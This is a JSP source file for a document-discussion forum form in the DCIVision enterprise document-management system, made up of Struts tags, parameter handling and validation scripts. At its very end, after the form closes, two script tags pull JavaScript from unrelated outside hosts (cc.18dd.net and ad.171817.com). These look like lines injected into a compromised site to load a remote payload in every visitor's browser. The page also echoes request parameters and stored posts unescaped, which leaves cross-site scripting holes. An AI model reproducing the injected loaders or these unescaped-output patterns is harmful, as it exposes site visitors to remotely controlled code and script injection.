<%
/*
 * @(#)EditForumGroupDetail.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditForumGroupDetail.jsp

  This class is reflecting business logic uses.

    @author           Zoe Shum
    @company          DCIVision Limited
    @creation date    15/10/2003
    @version          $Revision: 1.40.2.13 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.forum.*"%>
<%@ page import="com.dcivision.forum.bean.*"%>
<%@ page import="com.dcivision.forum.dao.*"%>
<%@ page import="com.dcivision.forum.web.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsForumForm" scope="request" class="com.dcivision.forum.web.MaintForumGroupDetailForm"/>

<script language="Javascript">
<!--

-->
</script>
<html:form action="dms/MaintDmsForum" styleClass="form-style-2">
<html:javascript formName="maintDmsForumForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
 try{
    Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
    RootRetrievalManager rootRetrievalManager = new RootRetrievalManager(sessionContainer, conn);
    String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
    String opMode = (String) maintDmsForumForm.getOpMode();
    String navMode = (String) maintDmsForumForm.getNavMode();

    String objectID  = maintDmsForumForm.getObjectID()==null? request.getParameter("objectID")==null? "" : (String) request.getParameter("objectID"):(String)maintDmsForumForm.getObjectID();
    String objectType = maintDmsForumForm.getObjectType()==null? request.getParameter("objectType")==null? "" : (String) request.getParameter("objectType"):(String)maintDmsForumForm.getObjectType();

    //Parameters used for DMS
    String rootID  = maintDmsForumForm.getRootID()==null? request.getParameter("rootID")==null? "" : (String) request.getParameter("rootID"):(String)maintDmsForumForm.getRootID();
    String docParentID = maintDmsForumForm.getDocParentID()==null? request.getParameter("docParentID")==null? "" : (String) request.getParameter("docParentID"):(String)maintDmsForumForm.getDocParentID();
    String curFunctionCode = maintDmsForumForm.getCurFunctionCode()==null? request.getParameter("curFunctionCode")==null? "" : (String) request.getParameter("curFunctionCode"):(String)maintDmsForumForm.getCurFunctionCode();
    String permission = request.getParameter("permission")==null? "" : (String) request.getParameter("permission");


    
    if (Utility.isEmpty(rootID) && Utility.isEmpty(docParentID)){  
      //for invite by discuss, no root id and parent id when pass
      if((!Utility.isEmpty(objectID)) && (!Utility.isEmpty(objectType)) && 
        (GlobalConstant.OBJECT_TYPE_DOCUMENT.equals(objectType))){
        
         DmsDocument tmpDocument = docRetrievalManager.getDocument(new Integer(objectID));
         rootID =TextUtility.formatIntegerObj(tmpDocument.getRootID());
         docParentID = TextUtility.formatIntegerObj(tmpDocument.getParentID());
      }else{
        //Get personal folder's rootID and parentID
        DmsRoot personalRoot = (DmsRoot) rootRetrievalManager.getRootObjectByOwnerID(sessionContainer.getUserRecordID());
        DmsDocument personalFolder = (DmsDocument)docRetrievalManager.getDocumentByNameParentIDCreatorID(
        DmsOperationConstant.DMS_PERSONAL_ROOT, new Integer(0), sessionContainer.getUserRecordID());
        rootID = personalRoot.getID().toString();
        docParentID = personalFolder.getID().toString();
    
      }
    }

    DmsDocument documentRoot = new DmsDocument();
    PermissionManager permissionManager = null;

    String dummy_display_objectID="";
    String dummy_display_objectName="";
    DmsDocument document = new DmsDocument();

    if (!("".equals(objectID)) && !("".equals(objectType))){
      if (request.getParameter("dummy_display_objectID")!= null) {
         dummy_display_objectID=request.getParameter("dummy_display_objectID");
         dummy_display_objectName=request.getParameter("dummy_display_objectName");
      } else {

         //get the name for object id
          if (GlobalConstant.OBJECT_TYPE_DOCUMENT.equals(objectType)) {
            document = docRetrievalManager.getDocument(new Integer(objectID));
            dummy_display_objectName=document.getDocumentName();

          }
          if (Utility.isEmpty(permission)){
            documentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(document.getRootID());
            permissionManager = sessionContainer.getPermissionManager();
            permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, document.getID());
          }
      }
   }
   String functionType = "";
   if (ForumOperationConstant.FOURM_REPLY.equals(opMode)){
     functionType = "forum.columnheader.document_discussion_reply";
   }else  if (GlobalConstant.NAV_MODE_EDIT.equals(navMode)){
     functionType = "forum.columnheader.document_discussion_edit";
   }else  if (Utility.isEmpty(opMode) || GlobalConstant.OP_MODE_INSERT.equals(opMode)){
     functionType = "forum.columnheader.document_discussion_new";

   }

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>
<script language="JavaScript">
<!--
function getDocument(){
  return(popupDocumentSelectionPanel('<%=rootID%>', '<%=docParentID%>', 'dummy_display_objectName', 'dummy_display_objectID'));
}

function checkStr(str){
  if(/[^\x00-\xff]/.test(str))
  {
   return false;
  }else{
   return true;
  }
}

function OpCustSave() {
  if (!checkStr(document.maintDmsForumForm.topic.value)
	  && document.maintDmsForumForm.topic.value.length>33){
    alert("<bean:message key='errors.forum.select_object_for_discussion_length'/>");
    return false;
  }
  if (document.maintDmsForumForm.dummy_display_objectName.value==''){
    alert("<bean:message key='errors.forum.select_object_for_discussion'/>");
    return false;
  }
  if (document.maintDmsForumForm.opMode.value=='<%=ForumOperationConstant.FOURM_REPLY%>'){
    return OpInsert();
  } else {
	if(document.maintDmsForumForm.topic.value==''){
	   alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "forum.columnheader.document_discussion_topic")%>' />');
	 return false;
	}
    if (document.maintDmsForumForm.objectID.value == ''){
      document.maintDmsForumForm.objectID.value = document.maintDmsForumForm.dummy_display_objectID.value;
    }
    return OpSave();
  }
}

-->
</script>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<html:hidden property='forumGroupID'/>
<html:hidden property='parentID'/>
<html:hidden property='objectID'/>
<html:hidden property='objectType'/>
<html:hidden property='reads'/>
<html:hidden property='rootID'/>
<html:hidden property='docParentID'/>
<html:hidden property='curFunctionCode'/>

<div class="generalHeader">
	<div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
    	<layout:returnButton className="btn-standard" returnURL='<%="ListDmsForum.do?opMode=" + GlobalConstant.OP_MODE_LIST_RETAIN + "&rootID=" + rootID + "&parentID=" + docParentID + "&objectID=" + objectID + "&objectType=" + objectType%>'/>
    </div>
</div>

<div class="generalContainer">
<div class="wrapperContainer-clearfix">
<%   if ((GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) || (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) ) {  %>
<table width="100%">
<%
	if (ForumOperationConstant.FOURM_REPLY.equals(opMode)) {
%>
	<layout:sectionHeader name="forum.columnheader.document_discussion_reply" arg0="<%=TextUtility.noNull(maintDmsForumForm.getTopic())%>"/>
<%
	} else {
%>
	<layout:sectionHeader name="common.label.new"/>
<%
	}
%>
</table>
<%}%>

<!--New Discussion Mode, display the topic and detail for input-->
<%   if ((GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) || (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) ) {  %>
<div class="clearfix">
<div class="div-2-a">
<table>
      <tr>

        <td class="formLabelSmall"><bean:message key="forum.columnheader.document_discussion_reference_name"/>:&nbsp;</td>
        <td class="formFieldSmall">
          <%
          if (!Utility.isEmpty(objectID)){%>
            <dms:documentInfo docObject='<%=(DmsDocument)document%>' permission='<%=permission%>'/>
            <input type="hidden" name="dummy_display_objectName" value="<%=dummy_display_objectName%>"/>
            <input type="hidden" name="dummy_display_objectID" />
          <%}else{%>
            <input type="text" name="dummy_display_objectName" value="<%=dummy_display_objectName%>"size="20" maxlength="30" readOnly/>
            <input type="hidden" name="dummy_display_objectID" />
            <%if (GlobalConstant.OBJECT_TYPE_DOCUMENT.equals(objectType)){ %>
              <a href='#' onClick='return(getDocument())'>
            <% }%>
            <html:img  src='IconPopupSearch.gif' border="0" align='absmiddle'/>
            </a>
          <%}%>
        </td>
      </tr>
      <%if (!Utility.isEmpty(objectID) && GlobalConstant.OBJECT_TYPE_DOCUMENT.equals(objectType)){%>
      <tr>
        <td class="formLabelSmall"><bean:message key='dms.label.location'/>:</td>
        <td class="formFieldSmall">
        	<dms:locationPath parentID="<%=document.getParentID()%>" rootID="<%=document.getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='showIndexFlag'/>
        </td>
      </tr>
      <%}%>
   </table>
</div>
<div class="div-2-b">
        <html:hidden property="objectType" value="<%=ForumOperationConstant.FOURM_OBJECT_TYPE_DOCUMENT%>"/>
        <%
        String onClickAlwaysOnTop = "return(true)";
        if (ForumOperationConstant.FOURM_REPLY.equals(opMode)){
          onClickAlwaysOnTop = "return(false)";
        }
        %>
        <html:checkbox name="maintDmsForumForm" property="alwaysOnTop" value="Y" onclick="<%=onClickAlwaysOnTop%>"/>
        <bean:message key="forum.label.discussion_always_on_top"/>
</div>
</div>
<%} %>

<!--Document Discussion section -->
<%
Integer replyTotal = new Integer(0);
if (ForumOperationConstant.FOURM_REPLY.equals(opMode)) {
  ForumGroupDetailDAObject forumGroupDetailDAO = new ForumGroupDetailDAObject(sessionContainer, conn);
  replyTotal = (Integer) forumGroupDetailDAO.getReplyTotal(TextUtility.parseIntegerObj (((MaintForumGroupDetailForm) maintDmsForumForm).getID()));
}
%>
    <!--New Discussion Mode, display the topic and detail for input-->
    <%if (!ForumOperationConstant.FOURM_REPLY.equals(opMode)) {  %>
    <table width="100%">
      <tr>
        <td class="formLabelSmallMan"><bean:message key="forum.columnheader.document_discussion_topic"/></td>
        <td class="formFieldSmall">
        <html:text property="topic" name="maintDmsForumForm" size="70" maxlength="100" styleClass="form-style-2-long-textfield"/></td>
      </tr>
      <tr>
        <td class="formLabelSmall"><bean:message key="forum.label.detail_of_topic"/>:</td>
        <td class="formFieldSmall">
        <html:textarea property="detail" cols="60" rows="10" textlimit="300" styleClass="form-style-2-big-textarea"/>
      </tr>
    </table>
   <%} %>

    <!--Reply Discussion Mode, display the reply textarea for input-->
    <%  if (ForumOperationConstant.FOURM_REPLY.equals(opMode)) {   %>
    <table width="100%" bgcolor="#FFFFFF" cellpadding="2" cellspacing="1" border="0"
      <tr>
      	<td colspan="2" id="topicListHeader">
    	<bean:message key='forum.lable.has_replies_and_reads' arg0="<%=replyTotal.toString()%>" arg1="<%=maintDmsForumForm.getReads()%>"/>
    	</td>
      </tr>
      <%String defaultReplyTopic = "";%>
      <logic:iterate id='discussion' name='selectedDiscussionList' scope='request'>
  <tr id="topicMainContent">
    <td class="formLabelSmall">
    	<html:img src='IconUser.gif'/><%=((ForumGroupDetail) discussion).getCreatorName()%>
    </td>
    <td>
    	<table cellpadding="2" cellspacing="0" border="0" width="100%">
    		<tr>
    		<td align="left" class="topicContentTitle"><%defaultReplyTopic = ((ForumGroupDetail) discussion).getTopic();%>
            <%=defaultReplyTopic%></td>
    		<td align="right">
    			<bean:message key="forum.columnheader.discussion_postdate"/>:
    			<html:datepicker property='createDate' textOnly='true'/>
    		</td>
    		</tr>
    		<tr>
    		<td colspan="2">
    		<%
    			String detail = ((ForumGroupDetail) discussion).getDetail();
            	detail = TextUtility.replaceString(detail, "\n", "<br>&nbsp;");
            	out.println(detail);
            %>
    		</td>
    		</tr>
    	</table>
    </td>
  </tr>
       </logic:iterate>
     </table>
<br>
    <table width="100%" bgcolor="#FFFFFF" cellpadding="2" cellspacing="1" border="0">
      <tr>
        <td class="formLabelSmall"><bean:message key="forum.label.name_of_discuss_topic"/>:</td>
        <td class="formFieldSmall">
        <%if (!Utility.isEmpty(defaultReplyTopic) && !defaultReplyTopic.startsWith("RE: ")) { defaultReplyTopic = "RE: " + defaultReplyTopic; } %>
        <input type="text" name="topic" maxlength="100" size="60" value="<%=defaultReplyTopic%>" class="form-style-2-long-textfield"></td>
      </tr>
      <tr>
        <td class="formLabelSmall"><bean:message key="forum.label.detail_of_topic"/>:</td>
        <td class="formFieldSmall">
          <textarea name="NewMessage" wrap="virtual" ROWS="10" COLS="60" maxlength="300" class="form-style-2-big-textarea"></textarea></td>
      </tr>
     </table>
       <%}%>
</div>
</div>

<div class="generalBottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
    <%
    	if (ForumOperationConstant.FOURM_REPLY.equals(opMode)) {
    %>
    	<html:standardButton label="common.label.post" onClick="return OpCustSave()"/>
    <%
    	} else {
    %>
    	<html:standardButton label="common.label.save" onClick="return OpCustSave()"/>
    <%
    	}
    %>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintDmsForumForm.getOpMode())) {%>
      <html:permissionButton label="common.label.edit" right='U' objectType='D' objectID='<%=new Integer(objectID)%>' link="MaintForumGroupDetail.do?navMode=E&ID=${maintDmsForumForm.ID}"/>
    <%}%>   
    </div>
</div>

<%}catch(Exception e){
    LogFactory.getLog(this.getClass()).error(e, e);
  }%>
  <!--joan.xiong add code for bug EIP-1458 by 2007/01/22-->

<script>
  function clipbordInvite(docID){
	try{
		var url = "<%=request.getContextPath()%>/dms/MaintDmsInvitationAction.do?actionType=M&documentID=" + docID;
		var ni = document.createElement("iFrame");
		ni.setAttribute("src",url);
		ni.setAttribute("scrolling","yes");
		ni.setAttribute("frameborder","no");
		ni.setAttribute("width","100%");
		ni.setAttribute("height","100%");
		ni.setAttribute("id","ifram1");
		document.getElementById("NewDocumentInvitation").appendChild(ni);
		document.getElementById("NewDocumentInvitation").style["display"]="";

		var loadFrame = document.getElementById("NewDocumentInvitation");

		loadFrame.style.width="780";
		loadFrame.style.height = "600";
		loadFrame.style.top = (document.body.clientHeight-600)/2 + document.body.scrollTop;
		loadFrame.style.left = (document.body.clientWidth-780)/2 + document.body.scrollLeft;
		DimBackgroud(null,false);
	}catch(e){}
	
  }
</script>
<!--joan.xiong add code end-->
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>